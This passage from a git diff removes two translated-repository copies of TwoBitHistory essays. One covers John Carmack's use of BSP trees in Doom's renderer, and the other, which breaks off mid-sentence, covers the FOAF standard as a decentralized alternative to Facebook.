stairs. A circular pit of stairs led to lots of repeated recursive descents into a sector that had already been drawn, strangling the game engine’s speed. - -Around the time that the id team realized that the _Doom_ game engine might be too slow, id Software was asked to port _Wolfenstein 3D_ to the Super Nintendo. The Super Nintendo was even less powerful than the IBM-compatible PCs of the day, and it turned out that the ray-marching _Wolfenstein_ renderer, simple as it was, didn’t run fast enough on the Super Nintendo hardware. So Carmack began looking for a better algorithm. It was actually for the Super Nintendo port of _Wolfenstein_ that Carmack first researched and implemented binary space partitioning. In _Wolfenstein_, this was relatively straightforward because all the walls were axis-aligned; in _Doom_, it would be more complex. But Carmack realized that BSP trees would solve _Doom_’s speed problems too. - -### Binary Space Partitioning - -Binary space partitioning makes the VSD problem easier to solve by splitting a 3D scene into parts ahead of time. For now, you just need to grasp why splitting a scene is useful: If you draw a line (really a plane in 3D) across your scene, and you know which side of the line the player or camera viewpoint is on, then you also know that nothing on the other side of the line can obstruct something on the viewpoint’s side of the line. If you repeat this process many times, you end up with a 3D scene split into many sections, which wouldn’t be an improvement on the original scene except now you know more about how different parts of the scene can obstruct each other. - -The first people to write about dividing a 3D scene like this were researchers trying to establish for the US Air Force whether computer graphics were sufficiently advanced to use in flight simulators. They released their findings in a 1969 report called “Study for Applying Computer-Generated Images to Visual Simulation.” The report concluded that computer graphics could be used to train pilots, but also warned that the implementation would be complicated by the VSD problem: - -> One of the most significant problems that must be faced in the real-time computation of images is the priority, or hidden-line, problem. In our everyday visual perception of our surroundings, it is a problem that nature solves with trivial ease; a point of an opaque object obscures all other points that lie along the same line of sight and are more distant. In the computer, the task is formidable. The computations required to resolve priority in the general case grow exponentially with the complexity of the environment, and soon they surpass the computing load associated with finding the perspective images of the objects.[2][3] - -One solution these researchers mention, which according to them was earlier used in a project for NASA, is based on creating what I am going to call an “occlusion matrix.” The researchers point out that a plane dividing a scene in two can be used to resolve “any priority conflict” between objects on opposite sides of the plane. In general you might have to add these planes explicitly to your scene, but with certain kinds of geometry you can just rely on the faces of the objects you already have. They give the example in the figure below, where \\(p_1\\), \\(p_2\\), and \\(p_3\\) are the separating planes. If the camera viewpoint is on the forward or “true” side of one of these planes, then \\(p_i\\) evaluates to 1. The matrix shows the relationships between the three objects based on the three dividing planes and the location of the camera viewpoint—if object \\(a_i\\) obscures object \\(a_j\\), then entry \\(a_{ij}\\) in the matrix will be a 1. - -![][4] - -The researchers propose that this matrix could be implemented in hardware and re-evaluated every frame. Basically the matrix would act as a big switch or a kind of pre-built z-buffer. When drawing a given object, no video would be output for the parts of the object when a 1 exists in the object’s column and the corresponding row object is also being drawn. - -The major drawback with this matrix approach is that to represent a scene with \\(n\\) objects you need a matrix of size \\(n^2\\). So the researchers go on to explore whether it would be feasible to represent the occlusion matrix as a “priority list” instead, which would only be of size \\(n\\) and would establish an order in which objects should be drawn. They immediately note that for certain scenes like the one in the figure above no ordering can be made (since there is an occlusion cycle), so they spend a lot of time laying out the mathematical distinction between “proper” and “improper” scenes. Eventually they conclude that, at least for “proper” scenes—and it should be easy enough for a scene designer to avoid “improper” cases—a priority list could be generated. But they leave the list generation as an exercise for the reader. It seems the primary contribution of this 1969 study was to point out that it should be possible to use partitioning planes to order objects in a scene for rendering, at least _in theory_. - -It was not until 1980 that a paper, titled “On Visible Surface Generation by A Priori Tree Structures,” demonstrated a concrete algorithm to accomplish this. The 1980 paper, written by Henry Fuchs, Zvi Kedem, and Bruce Naylor, introduced the BSP tree. The authors say that their novel data structure is “an alternative solution to an approach first utilized a decade ago but due to a few difficulties, not widely exploited”—here referring to the approach taken in the 1969 Air Force study.[3][5] A BSP tree, once constructed, can easily be used to provide a priority ordering for objects in the scene. - -Fuchs, Kedem, and Naylor give a pretty readable explanation of how a BSP tree works, but let me see if I can provide a less formal but more concise one. - -You begin by picking one polygon in your scene and making the plane in which the polygon lies your partitioning plane. That one polygon also ends up as the root node in your tree. The remaining polygons in your scene will be on one side or the other of your root partitioning plane. The polygons on the “forward” side or in the “forward” half-space of your plane end up in the left subtree of your root node, while the polygons on the “back” side or in the “back” half-space of your plane end up in the right subtree. You then repeat this process recursively, picking a polygon from your left and right subtrees to be the new partitioning planes for their respective half-spaces, which generates further half-spaces and further sub-trees. You stop when you run out of polygons. - -Say you want to render the geometry in your scene from back-to-front. (This is known as the “painter’s algorithm,” since it means that polygons further from the camera will get drawn over by polygons closer to the camera, producing a correct rendering.) To achieve this, all you have to do is an in-order traversal of the BSP tree, where the decision to render the left or right subtree of any node first is determined by whether the camera viewpoint is in either the forward or back half-space relative to the partitioning plane associated with the node. So at each node in the tree, you render all the polygons on the “far” side of the plane first, then the polygon in the partitioning plane, then all the polygons on the “near” side of the plane—”far” and “near” being relative to the camera viewpoint. This solves the VSD problem because, as we learned several paragraphs back, the polygons on the far side of the partitioning plane cannot obstruct anything on the near side. - -The following diagram shows the construction and traversal of a BSP tree representing a simple 2D scene. In 2D, the partitioning planes are instead partitioning lines, but the basic idea is the same in a more complicated 3D scene. - -![][6] _Step One: The root partitioning line along wall D splits the remaining geometry into two sets._ - -![][7] _Step Two: The half-spaces on either side of D are split again. Wall C is the only wall in its half-space so no split is needed. Wall B forms the new partitioning line in its half-space. Wall A must be split into two walls since it crosses the partitioning line._ - -![][8] _A back-to-front ordering of the walls relative to the viewpoint in the top-right corner, useful for implementing the painter’s algorithm. This is just an in-order traversal of the tree._ - -The really neat thing about a BSP tree, which Fuchs, Kedem, and Naylor stress several times, is that it only has to be constructed once. This is somewhat surprising, but the same BSP tree can be used to render a scene no matter where the camera viewpoint is. The BSP tree remains valid as long as the polygons in the scene don’t move. This is why the BSP tree is so useful for real-time rendering—all the hard work that goes into constructing the tree can be done beforehand rather than during rendering. - -One issue that Fuchs, Kedem, and Naylor say needs further exploration is the question of what makes a “good” BSP tree. The quality of your BSP tree will depend on which polygons you decide to use to establish your partitioning planes. I skipped over this earlier, but if you partition using a plane that intersects other polygons, then in order for the BSP algorithm to work, you have to split the intersected polygons in two, so that one part can go in one half-space and the other part in the other half-space. If this happens a lot, then building a BSP tree will dramatically increase the number of polygons in your scene. - -Bruce Naylor, one of the authors of the 1980 paper, would later write about this problem in his 1993 paper, “Constructing Good Partitioning Trees.” According to John Romero, one of Carmack’s fellow id Software co-founders, this paper was one of the papers that Carmack read when he was trying to implement BSP trees in _Doom_.[4][9] - -### BSP Trees in Doom - -Remember that, in his first draft of the _Doom_ renderer, Carmack had been trying to establish a rendering order for level geometry by “flooding” the renderer out from the player’s current room into neighboring rooms. BSP trees were a better way to establish this ordering because they avoided the issue where the renderer found itself visiting the same room (or sector) multiple times, wasting CPU cycles. - -“Adding BSP trees to _Doom_” meant, in practice, adding a BSP tree generator to the _Doom_ level editor. When a level in _Doom_ was complete, a BSP tree was generated from the level geometry. According to Fabien Sanglard, the generation process could take as long as eight seconds for a single level and 11 minutes for all the levels in the original _Doom_.[5][10] The generation process was lengthy in part because Carmack’s BSP generation algorithm tries to search for a “good” BSP tree using various heuristics. An eight-second delay would have been unforgivable at runtime, but it was not long to wait when done offline, especially considering the performance gains the BSP trees brought to the renderer. The generated BSP tree for a single level would have then ended up as part of the level data loaded into the game when it starts. - -Carmack put a spin on the BSP tree algorithm outlined in the 1980 paper, because once _Doom_ is started and the BSP tree for the current level is read into memory, the renderer uses the BSP tree to draw objects front-to-back rather than back-to-front. In the 1980 paper, Fuchs, Kedem, and Naylor show how a BSP tree can be used to implement the back-to-front painter’s algorithm, but the painter’s algorithm involves a lot of over-drawing that would have been expensive on an IBM-compatible PC. So the _Doom_ renderer instead starts with the geometry closer to the player, draws that first, then draws the geometry farther away. This reverse ordering is easy to achieve using a BSP tree, since you can just make the opposite traversal decision at each node in the tree. To ensure that the farther-away geometry is not drawn over the closer geometry, the _Doom_ renderer uses a kind of implicit z-buffer that provides much of the benefit of a z-buffer with a much smaller memory footprint. There is one array that keeps track of occlusion in the horizontal dimension, and another two arrays that keep track of occlusion in the vertical dimension from the top and bottom of the screen. The _Doom_ renderer can get away with not using an actual z-buffer because _Doom_ is not technically a fully 3D game. The cheaper data structures work because certain things never appear in _Doom_: The horizontal occlusion array works because there are no sloping walls, and the vertical occlusion arrays work because no walls have, say, two windows, one above the other. - -The only other tricky issue left is how to incorporate _Doom_’s moving characters into the static level geometry drawn with the aid of the BSP tree. The enemies in _Doom_ cannot be a part of the BSP tree because they move; the BSP tree only works for geometry that never moves. So the _Doom_ renderer draws the static level geometry first, keeping track of the segments of the screen that were drawn to (with yet another memory-efficient data structure). It then draws the enemies in back-to-front order, clipping them against the segments of the screen that occlude them. This process is not as optimal as rendering using the BSP tree, but because there are usually fewer enemies visible than there is level geometry in a level, speed isn’t as much of an issue here. - -Using BSP trees in _Doom_ was a major win. Obviously it is pretty neat that Carmack was able to figure out that BSP trees were the perfect solution to his problem. But was it a _genius_-level move? - -In his excellent book about the _Doom_ game engine, Fabien Sanglard quotes John Romero saying that Bruce Naylor’s paper, “Constructing Good Partitioning Trees,” was mostly about using BSP trees to cull backfaces from 3D models.[6][11] According to Romero, Carmack thought the algorithm could still be useful for _Doom_, so he went ahead and implemented it. This description is quite flattering to Carmack—it implies he saw that BSP trees could be useful for real-time video games when other people were still using the technique to render static scenes. There is a similarly flattering story in _Masters of Doom_: Kushner suggests that Carmack read Naylor’s paper and asked himself, “what if you could use a BSP to create not just one 3D image but an entire virtual world?”[7][12] - -This framing ignores the history of the BSP tree. When those US Air Force researchers first realized that partitioning a scene might help speed up rendering, they were interested in speeding up _real-time_ rendering, because they were, after all, trying to create a flight simulator. The flight simulator example comes up again in the 1980 BSP paper. Fuchs, Kedem, and Naylor talk about how a BSP tree would be useful in a flight simulator that pilots use to practice landing at the same airport over and over again. Since the airport geometry never changes, the BSP tree can be generated just once. Clearly what they have in mind is a real-time simulation. In the introduction to their paper, they even motivate their research by talking about how real-time graphics systems must be able to create an image in at least 1/30th of a second. - -So Carmack was not the first person to think of using BSP trees in a real-time graphics simulation. Of course, it’s one thing to anticipate that BSP trees might be used this way and another thing to actually do it. But even in the implementation Carmack may have had more guidance than is commonly assumed. The [Wikipedia page about BSP trees][13], at least as of this writing, suggests that Carmack consulted a 1991 paper by Chen and Gordon as well as a 1990 textbook called _Computer Graphics: Principles and Practice_. Though no citation is provided for this claim, it is probably true. The 1991 Chen and Gordon paper outlines a front-to-back rendering approach using BSP trees that is basically the same approach taken by _Doom_, right down to what I’ve called the “implicit z-buffer” data structure that prevents farther polygons being drawn over nearer polygons. The textbook provides a great overview of BSP trees and some pseudocode both for building a tree and for displaying one. (I’ve been able to skim through the 1990 edition thanks to my wonderful university library.) _Computer Graphics: Principles and Practice_ is a classic text in computer graphics, so Carmack might well have owned it. - -Still, Carmack found himself faced with a novel problem—”How can we make a first-person shooter run on a computer with a CPU that can’t even do floating-point operations?”—did his research, and proved that BSP trees are a useful data structure for real-time video games. I still think that is an impressive feat, even if the BSP tree had first been invented a decade prior and was pretty well theorized by the time Carmack read about it. Perhaps the accomplishment that we should really celebrate is the _Doom_ game engine as a whole, which is a seriously nifty piece of work. I’ve mentioned it once already, but Fabien Sanglard’s book about the _Doom_ game engine (_Game Engine Black Book: DOOM_) is an excellent overview of all the different clever components of the game engine and how they fit together. We shouldn’t forget that the VSD problem was just one of many problems that Carmack had to solve to make the _Doom_ engine work. That he was able, on top of everything else, to read about and implement a complicated data structure unknown to most programmers speaks volumes about his technical expertise and his drive to perfect his craft. - -_If you enjoyed this post, more like it come out every four weeks! Follow [@TwoBitHistory][14] on Twitter or subscribe to the [RSS feed][15] to make sure you know when a new post is out._ - -_Previously on TwoBitHistory…_ - -> I've wanted to learn more about GNU Readline for a while, so I thought I'd turn that into a new blog post. Includes a few fun facts from an email exchange with Chet Ramey, who maintains Readline (and Bash): -> -> — TwoBitHistory (@TwoBitHistory) [August 22, 2019][16] - - 1. Michael Abrash, “Michael Abrash’s Graphics Programming Black Book,” James Gregory, accessed November 6, 2019, . [↩︎][17] - - 2. R. Schumacher, B. Brand, M. Gilliland, W. Sharp, “Study for Applying Computer-Generated Images to Visual Simulation,” Air Force Human Resources Laboratory, December 1969, accessed on November 6, 2019, . [↩︎][18] - - 3. Henry Fuchs, Zvi Kedem, Bruce Naylor, “On Visible Surface Generation By A Priori Tree Structures,” ACM SIGGRAPH Computer Graphics, July 1980. [↩︎][19] - - 4. Fabien Sanglard, Game Engine Black Book: DOOM (CreateSpace Independent Publishing Platform, 2018), 200. [↩︎][20] - - 5. Sanglard, 206. [↩︎][21] - - 6. Sanglard, 200. [↩︎][22] - - 7. David Kushner, Masters of Doom (Random House Trade Paperbacks, 2004), 142. [↩︎][23] - - - - --------------------------------------------------------------------------------- - -via: https://twobithistory.org/2019/11/06/doom-bsp.html - -作者:[Two-Bit History][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://twobithistory.org -[b]: https://github.com/lujun9972 -[1]: tmp.eMwywbWYsp#fn:1 -[2]: https://youtu.be/HQYsFshbkYw?t=822 -[3]: tmp.eMwywbWYsp#fn:2 -[4]: https://twobithistory.org/images/matrix_figure.png -[5]: tmp.eMwywbWYsp#fn:3 -[6]: https://twobithistory.org/images/bsp.svg -[7]: https://twobithistory.org/images/bsp1.svg -[8]: https://twobithistory.org/images/bsp2.svg -[9]: tmp.eMwywbWYsp#fn:4 -[10]: tmp.eMwywbWYsp#fn:5 -[11]: tmp.eMwywbWYsp#fn:6 -[12]: tmp.eMwywbWYsp#fn:7 -[13]: https://en.wikipedia.org/wiki/Binary_space_partitioning -[14]: https://twitter.com/TwoBitHistory -[15]: https://twobithistory.org/feed.xml -[16]: https://twitter.com/TwoBitHistory/status/1164631020353859585?ref_src=twsrc%5Etfw -[17]: tmp.eMwywbWYsp#fnref:1 -[18]: tmp.eMwywbWYsp#fnref:2 -[19]: tmp.eMwywbWYsp#fnref:3 -[20]: tmp.eMwywbWYsp#fnref:4 -[21]: tmp.eMwywbWYsp#fnref:5 -[22]: tmp.eMwywbWYsp#fnref:6 -[23]: tmp.eMwywbWYsp#fnref:7 diff --git a/sources/talk/20200105 Friend of a Friend- The Facebook That Could Have Been.md b/sources/talk/20200105 Friend of a Friend- The Facebook That Could Have Been.md deleted file mode 100644 index 55c0fdeeae..0000000000 --- a/sources/talk/20200105 Friend of a Friend- The Facebook That Could Have Been.md +++ /dev/null @@ -1,242 +0,0 @@ -[#]: subject: "Friend of a Friend: The Facebook That Could Have Been" -[#]: via: "https://twobithistory.org/2020/01/05/foaf.html" -[#]: author: "Two-Bit History https://twobithistory.org" -[#]: collector: "lujun9972" -[#]: translator: " " -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " - -Friend of a Friend: The Facebook That Could Have Been -====== - -> _I express my network in a FOAF file, and that is the start of the revolution._ —Tim Berners-Lee (2007) - -The FOAF standard, or Friend of a Friend standard, is a now largely defunct/ignored/superseded[1][1] web standard dating from the early 2000s that hints at what social networking might have looked like had Facebook not conquered the world. Before we talk about FOAF though, I want to talk about the New York City Subway. - -The New York City Subway is controlled by a single entity, the Metropolitan Transportation Agency, better known as the MTA. The MTA has a monopoly on subway travel in New York City. There is no legal way to travel in New York City by subway without purchasing a ticket from the MTA. The MTA has no competitors, at least not in the “subway space.” - -This wasn’t always true. Surprisingly, the subway system was once run by two corporations that competed with each other. The Inter-borough Rapid Transit Company (IRT) operated lines that ran mostly through Manhattan, while the Brooklyn-Manhattan Transit Corporation (BMT) operated lines in Brooklyn, some of which extended into Manhattan also. In 1932, the City opened its own service called the Independent Subway System to compete with the IRT and BMT, and so for a while there were _three_ different organizations running subway lines in New York City. - -One imagines that this was not an effective way to run a subway. It was not. Constructing interchanges between the various systems was challenging because the IRT and BMT used trains of different widths. Interchange stations also had to have at least two different fare-collection areas since passengers switching trains would have to pay multiple operators. The City eventually took over the IRT and BMT in 1940, bringing the whole system together under one operator, but some of the inefficiencies that the original division entailed are still problems today: Trains designed to run along lines inherited from the BMT (e.g. the A, C, or E) cannot run along lines inherited from the IRT (e.g. the 1, 2, or 3) because the IRT tunnels are too narrow. As a result, the MTA has to maintain two different fleets of mutually incompatible subway cars, presumably at significant additional expense relative to other subway systems in the world that only have to deal with a single tunnel width. - -This legacy of the competition between the IRT and BMT suggests that subway systems naturally tend toward monopoly. It just makes more sense for there to be a single operator than for there to be competing operators. Average passengers are amply compensated for the loss of choice by never having to worry about whether they brought their IRT MetroCard today but forgot their BMT MetroCard at home. - -Okay, so what does the Subway have to do with social networking? Well, I have wondered for a while now whether Facebook has, like the MTA, a natural monopoly. Facebook does seem to have _a_ monopoly, whether natural or unnatural—not over social media per se (I spend much more time on Twitter), but over my internet social connections with real people I know. It has a monopoly over, as they call it, my digitized “social graph”; I would quit Facebook tomorrow if I didn’t worry that by doing so I might lose many of those connections. I get angry about this power that Facebook has over me. I get angry in a way that I do not get angry about the MTA, even though the Subway is, metaphorically and literally, a sprawling trash fire. And I suppose I get angry because at root I believe that Facebook’s monopoly, unlike the MTA’s, is not a natural one. - -What this must mean is that I think Facebook owns all of our social data now because they happened to get there first and then dig a big moat around themselves, not because a world with competing Facebook-like platforms is inefficient or impossible. Is that true, though? There are some good reasons to think it isn’t: Did Facebook simply get there first, or did they instead just do social networking better than everyone else? Isn’t the fact that there is only one Facebook actually convenient if you are trying to figure out how to contact an old friend? In a world of competing Facebooks, what would it mean if you and your boyfriend are now Facebook official, but he still hasn’t gotten around to updating his relationship status on VisageBook, which still says he is in a relationship with his college ex? Which site will people trust? Also, if there were multiple sites, wouldn’t everyone spend a lot more time filling out web forms? - -In the last few years, as the disadvantages of centralized social networks have dramatically made themselves apparent, many people have attempted to create decentralized alternatives. These alternatives are based on open standards that could potentially support an ecosystem of inter-operating social networks (see e.g. [the Fediverse][2]). But none of these alternatives has yet supplanted a dominant social network. One obvious explanation for why this hasn’t happened is the power of network effects: With everyone already on Facebook, any one person thinking of leaving faces a high cost for doing so. Some might say this proves that social networks are natural monopolies and stop there; I would say that Facebook, Twitter, et al. chose to be walled gardens, and given that people have envisioned and even built social networks that inter-operate, the network effects that closed platforms enjoy tell us little about the inherent nature of social networks. - -So the real question, in my mind, is: Do platforms like Facebook continue to dominate merely because of their network effects, or is having a single dominant social network more efficient in the same way that having a single operator for a subway system is more efficient? - -Which finally brings me back to FOAF. Much of the world seems to have forgotten about the FOAF standard, but FOAF was an attempt to build a decentralized and open social network before anyone had even heard of Facebook. If any decentralized social network ever had a chance of occupying the redoubt that Facebook now occupies before Facebook got there, it was FOAF. Given that a large fraction of humanity now has a Facebook account, and given that relatively few people know about FOAF, should we conclude that social networking, like subway travel, really does lend itself to centralization and natural monopoly? Or does the FOAF project demonstrate that decentralized social networking was a feasible alternative that never became popular for other reasons? - -### The Future from the Early Aughts - -The FOAF project, begun in 2000, set out to create a universal standard for describing people and the relationships between them. That might strike you as a wildly ambitious goal today, but aspirations like that were par for the course in the late 1990s and early 2000s. The web (as people still called it then) had just trounced closed systems like America Online and [Prodigy][3]. It could only have been natural to assume that further innovation in computing would involve the open, standards-based approach embodied by the web. - -Many people believed that the next big thing was for the web to evolve into something called the Semantic Web. [I have written about][4] what exactly the Semantic Web was supposed to be and how it was supposed to work before, so I won’t go into detail here. But I will sketch the basic vision motivating the people who worked on Semantic Web technologies, because the FOAF standard was an application of that vision to social networking. - -There is an essay called [“How Google beat Amazon and Ebay to the Semantic Web”][5] that captures the lofty dream of the Semantic Web well. It was written by Paul Ford in 2002. The essay imagines a future (as imminent as 2009) in which Google, by embracing the Semantic Web, has replaced Amazon and eBay as the dominant e-commerce platform. In this future, you can search for something you want to purchase—perhaps a second-hand Martin guitar—by entering `buy:martin guitar` into Google. Google then shows you all the people near your zipcode selling Martin guitars. Google knows about these people and their guitars because Google can read RDF, a markup language and core Semantic Web technology focused on expressing relationships. Regular people can embed RDF on their web pages to advertise (among many other things) the items they have to sell. Ford predicts that as the number of people searching for and advertising products this way grows, Amazon and eBay will lose their near-monopolies over, respectively, first-hand and second-hand e-commerce. Nobody will want to search a single centralized database for something to buy when they could instead search the whole web. Even Google, Ford writes, will eventually lose its advantage, because in theory anyone could crawl the web reading RDF and offer a search feature similar to Google’s. At the very least, if Google wanted to make money from its Semantic Web marketplace by charging a percentage of each transaction, that percentage would probably by forced down over time by competitors offering a more attractive deal. - -Ford’s imagined future was an application of RDF, or the Resource Description Framework, to e-commerce, but the exciting thing about RDF was that hypothetically it could be used for anything. The RDF standard, along with a constellation of related standards, once widely adopted, was supposed to blow open database-backed software services on the internet the same way HTML had blown open document publishing on the internet. - -One arena that RDF and other Semantic Web technologies seemed poised to takeover immediately was social networking. The FOAF project, known originally as “RDF Web Ring” before being renamed, was the Semantic Web effort offshoot that sought to accomplish this. FOAF was so promising in its infancy that some people thought it would inevitably make all other social networking sites obsolete. A 2004 Guardian article about the project introduced FOAF this way: - -> In the beginning, way back in 1996, it was SixDegrees. Last year, it was Friendster. Last week, it was Orkut. Next week, it could be Flickr. All these websites, and dozens more, are designed to build networks of friends, and they are currently at the forefront of the trendiest internet development: social networking. But unless they can start to offer more substantial benefits, it is hard to see them all surviving, once the Friend Of A Friend (FOAF) standard becomes a normal part of life on the net.[2][6] - -The article goes on to complain that the biggest problem with social networking is that there are too many social networking sites. Something is needed that can connect all of the different networks together. FOAF is the solution, and it will revolutionize social networking as a result. - -FOAF, according to the article, would tie the different networks together by doing three key things: - - * It would establish a machine-readable format for social data that could be read by any social networking site, saving users from having to enter this information over and over again - * It would allow “personal information management programs,” i.e. your “Contacts” application, to generate a file in this machine-readable format that you could feed to social networking sites - * It would further allow this machine-readable format to be hosted on personal homepages and read remotely by social networking sites, meaning that you would be able to keep your various profiles up-to-date by just pushing changes to your own homepage - - - -It is hard to believe today, but the problem in 2004, at least for savvy webizens and technology columnists aware of all the latest sites, was not the lack of alternative social networks but instead the proliferation of them. Given _that_ problem—so alien to us now—one can see why it made sense to pursue a single standard that promised to make the proliferation of networks less of a burden. - -### The FOAF Spec - -According to the description currently given on the FOAF project’s website, FOAF is “a computer language defining a dictionary of people-related terms that can be used in structured data.” Back in 2000, in a document they wrote to explain the project’s goals, Dan Brickley and Libby Miller, FOAF’s creators, offered a different description that suggests more about the technology’s ultimate purpose—they introduced FOAF as a tool that would allow computers to read the personal information you put on your homepage the same way that other humans do.[3][7] FOAF would “help the web do the sorts of things that are currently the proprietary offering of centralised services.”[4][8] By defining a standard vocabulary for people and the relationships between them, FOAF would allow you to ask the web questions such as, “Find me today’s web recommendations made by people who work for Medical organizations,” or “Find me recent publications by people I’ve co-authored documents with.” - -Since FOAF is a standardized vocabulary, the most important output of the FOAF project was the FOAF specification. The FOAF specification defines a small collection of RDF _classes_ and RDF _properties_. (I’m not going to explain RDF here, but again see [my post about the Semantic Web][4] if you want to know more.) The RDF _classes_ defined by the FOAF specification represent subjects you might want to describe, such as people (the `Person` class) and organizations (the `Organization` class). The RDF _properties_ defined by the FOAF specification represent logical statements you might make about the different subjects. A person could have, for example, a first name (the `givenName` property), a last name (the `familyName` property), perhaps even a personality type (the `myersBriggs` property), and be near another person or location (the `based_near` property). The idea was that these classes and properties would be sufficient to represent the kind of the things people say about themselves and their friends on their personal homepage. - -The FOAF specification gives the following as an example of a well-formed FOAF document. This example uses XML, though an equivalent document could be written using JSON or a number of other formats: - -``` - - - Dan Brickley - - - - - -``` - -This FOAF document describes a person named “Dan Brickley” (one of the specification’s authors) that has a homepage at `http://danbri.org`, something called an “open ID,” and a picture available at `/images/me.jpg`, presumably relative to the base address of Brickley’s homepage. The FOAF-specific terms are prefixed by `foaf:`, indicating that they are part of the FOAF namespace, while the more general RDF terms are prefixed by `rdf:`. - -Just to persuade you that FOAF isn’t tied to XML, here is a similar FOAF example from Wikipedia, expressed using a format called JSON-LD[5][9]: - -``` - - { - "@context": { - "name": "http://xmlns.com/foaf/0.1/name", - "homepage": { - "@id": "http://xmlns.com/foaf/0.1/workplaceHomepage", - "@type": "@id" - }, - "Person": "http://xmlns.com/foaf/0.1/Person" - }, - "@id": "https://me.example.com", - "@type": "Person", - "name": "John Smith", - "homepage": "https://www.example.com/" - } - -``` - -This FOAF document describes a person named John Smith with a homepage at `www.example.com`. - -Perhaps the best way to get a feel for how FOAF works is to play around with [FOAF-a-matic][10], a web tool for generating FOAF documents. It allows you to enter information about yourself using a web form, then uses that information to create the FOAF document (in XML) that represents you. FOAF-a-matic demonstrates how FOAF could have been used to save everyone from having to enter their social information into a web form ever again—if every social networking site could read FOAF, all you’d need to do to sign up for a new site is point the site to the FOAF document that FOAF-a-matic generated for you. - -Here is a slightly more complicated FOAF example, representing me, that I created using FOAF-a-matic: - -``` - - - - - - - - - - Sinclair Target - Sinclair - Target - - - - - John Smith - - - - - - - -``` - -This example has quite a lot of preamble setting up the various XML namespaces used by the document. There is also a section containing data about the tool that was used to generate the document, largely so that, it seems, people know whom to email with complaints. The `foaf:Person` element describing me tells you my name, email address, and homepage. There is also a nested `foaf:knows` element telling you that I am friends with John Smith. - -This example illustrates another important feature of FOAF documents: They can link to each other. If you remember from the previous example, my friend John Smith has a homepage at `www.example.com`. In this example, where I list John Smith as a `foaf:person` with whom I have a `foaf:knows` relationship, I also provide a `rdfs:seeAlso` element that points to John Smith’s FOAF document hosted on his homepage. Because I have provided this link, any program reading my FOAF document could find out more about John Smith by following the link and reading his FOAF document. In the FOAF document we have for John Smith above, John did not provide any information about his friends (including me, meaning, tragically, that our friendship is unidirectional). But if he had, then the program reading my document could find out not only about me but also about John, his friends, their friends, and so on, until the program has crawled the whole social graph that John and I inhabit. - -This functionality will seem familiar to anyone that has used Facebook, which is to say that this functionality will seem familiar to you. There is no `foaf:wall` property or `foaf:poke` property to replicate Facebook’s feature set exactly. Obviously, there is also no slick blue user interface that everyone can use to visualize their FOAF social network; FOAF is just a vocabulary. But Facebook’s core feature—the feature that I have argued is key to Facebook’s monopoly power over, at the very least, myself—is here provided in a distributed way. FOAF allows a group of friends to represent their real-life social graph digitally by hosting FOAF documents on their own homepages. It allows them to do this without surrendering control of their data to a centralized database in the sky run by a billionaire android-man who spends much of his time apologizing before congressional committees. - -### FOAF on Ice - -If you visit the current FOAF project homepage, you will notice that, in the top right corner, there is an image of the character Fry from the TV series Futurama, stuck inside some sort of stasis chamber. This is a still from the pilot episode of Futurama, in which Fry gets frozen in a cryogenic tank in 1999 only to awake a millennium later in 2999. Brickley, whom I messaged briefly on Twitter, told me that he put that image there as a way communicating that the FOAF project is currently “in stasis,” though he hopes that there will be a future opportunity to resuscitate the project along with its early 2000s optimism about how the web should work. - -FOAF never revolutionized social networking the way that the 2004 Guardian article about it expected it would. Some social networking sites decided to support the standard: LiveJournal and MyOpera are examples.[6][11] FOAF even played a role in Howard Dean’s presidential campaign in 2004—a group of bloggers and programmers got together to create a network of websites they called “DeanSpace” to promote the campaign, and these sites used FOAF to keep track of supporters and volunteers.[7][12] But today FOAF is known primarily for being one of the more widely used vocabularies of RDF, itself a niche standard on the modern web. If FOAF is part of your experience of the web today at all, then it is as an ancestor to the technology that powers Google’s “knowledge panels” (the little sidebars that tell you the basics about a person or a thing if you searched for something simple). Google uses vocabularies published by the schema.org project—the modern heir to the Semantic Web effort—to populate its knowledge panels.[8][13] The schema.org vocabulary for describing people seems to be somewhat inspired by FOAF and serves many of the same purposes. - -So why didn’t FOAF succeed? Why do we all use Facebook now instead? Let’s ignore that FOAF is a simple standard with nowhere near as many features as Facebook—that’s true today, clearly, but if FOAF had enjoyed more momentum it’s possible that applications could have been built on top of it to deliver a Facebook-like experience. The interesting question is: Why didn’t this nascent form of distributed social networking catch fire when Facebook was not yet around to compete with it? - -There probably is no single answer to that question, but if I had to pick one, I think the biggest issue is that FOAF only makes sense on a web where everyone has a personal website. In the late 1990s and early 2000s, it might have been easy to assume the web would eventually look like this, especially since so many of the web’s early adopters were, as far as I can tell, prolific bloggers or politically engaged technologists excited to have a platform. But the reality is that regular people don’t want to have to learn how to host a website. FOAF allows you to control your own social information and broadcast it to social networks instead of filling out endless web forms, which sounds pretty great if you already have somewhere to host that information. But most people in practice found it easier to just fill out the web form and sign up for Facebook than to figure out how to buy a domain and host some XML. - -What does this mean for my original question about whether or not Facebook’s monopoly is a natural one? I think I have to concede that the FOAF example is evidence that social networking _does_ naturally lend itself to monopoly. - -That people did not want to host their own data isn’t especially meaningful itself—modern distributed social networks like [Mastodon][14] have solved that problem by letting regular users host their profiles on nodes set up by more savvy users. It is a sign, however, of just how much people hate complexity. This is bad news for decentralized social networks, because they are inherently more complex under the hood than centralized networks in a way that is often impossible to hide from users. - -Consider FOAF: If I were to write an application that read FOAF data from personal websites, what would I do if Sally’s FOAF document mentions a John Smith with a homepage at `example.com`, and Sue’s FOAF document mentions a John Smith with a homepage at `example.net`? Are we talking about a single John Smith with two websites or two entirely different John Smiths? What if the both FOAF documents list John Smith’s email as `johnsmith@gmail.com`? This issue of identity was an acute one for FOAF. In a 2003 email, Brickley wrote that because there does not exist and probably should not exist a “planet-wide system for identifying people,” the approach taken by FOAF is “pluralistic.”[9][15] Some properties of FOAF people, such as email addresses and homepage addresses, are special in that their values are globally unique. So these different properties can be used to merge (or, as Libby Miller called it, “smoosh”) FOAF documents about people together. But none of these special properties are privileged above the others, so it’s not obvious how to handle our John Smith case. Do we trust the homepages and conclude we have two different people? Or do we trust the email addresses and conclude we have a single person? Could I really write an application capable of resolving this conflict without involving (and inconveniencing) the user? - -Facebook, with its single database and lack of political qualms, could create a “planet-wide system for identifying people” and so just gave every person a unique Facebook ID. Problem solved. - -Complexity alone might not doom distributed social networks if people cared about being able to own and control their data. But FOAF’s failure to take off demonstrates that people have never valued control very highly. As one blogger has put it, 